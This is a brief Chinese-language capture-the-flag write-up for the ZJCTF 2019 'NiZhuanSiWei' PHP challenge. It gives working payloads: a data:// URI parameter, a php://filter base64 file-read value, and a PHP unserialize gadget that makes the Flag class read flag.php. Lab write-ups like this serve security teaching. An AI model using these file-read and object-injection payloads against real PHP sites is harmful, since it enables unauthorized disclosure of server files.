[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei
审题

看到可以传入file,text,和password三个参数。
知识点
php伪协议,反序列化
解题
-
传入text,看到有file_get_content函数,这个函数表示读取$text文件里的值,返回字符串。
所以要传入text的为一个文件值,所以使用data协议写入参数。
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= -
看到include_once,是文件包含,使用php://filter伪协议将useless.php中的内容读取出来
file=php://filter/convert.base64-encode/resource=useless.php -
读出的内容为
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?> -
传入password,看到反序列化,
构造 <?php class Flag { public $file='flag.php'; } $a=new Flag; echo serialize($a) ; ?> -
传入得到flag。

浙公网安备 33010602011771号